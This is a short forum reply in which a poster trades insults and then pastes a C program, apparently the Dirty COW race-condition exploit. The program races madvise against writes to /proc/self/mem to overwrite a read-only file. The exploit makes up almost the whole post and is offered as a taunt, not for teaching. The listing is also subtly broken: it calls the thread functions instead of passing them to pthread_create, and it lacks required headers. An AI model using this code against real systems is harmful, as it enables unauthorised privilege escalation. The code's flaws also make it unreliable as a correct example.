Quote:
Originally Posted by Spleth
He went from master hacker to 16 yo cringe troll in a quick minute
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Here is something you should be able to relate to moooo
Code:
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;
// Open the target file in the read-only mode.
int f=open("/myfile", O_RDONLY);
// Map the file to memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
// Find the position of the target area
char *position = strstr(map, "222222");
// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread(file_size), (void *)file_size);
pthread_create(&pth2, NULL, writeThread(file_size), position);
// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
void *writeThread(void *arg)
{
char *content= "******";
off_t offset = (off_t) arg;
int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}
void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}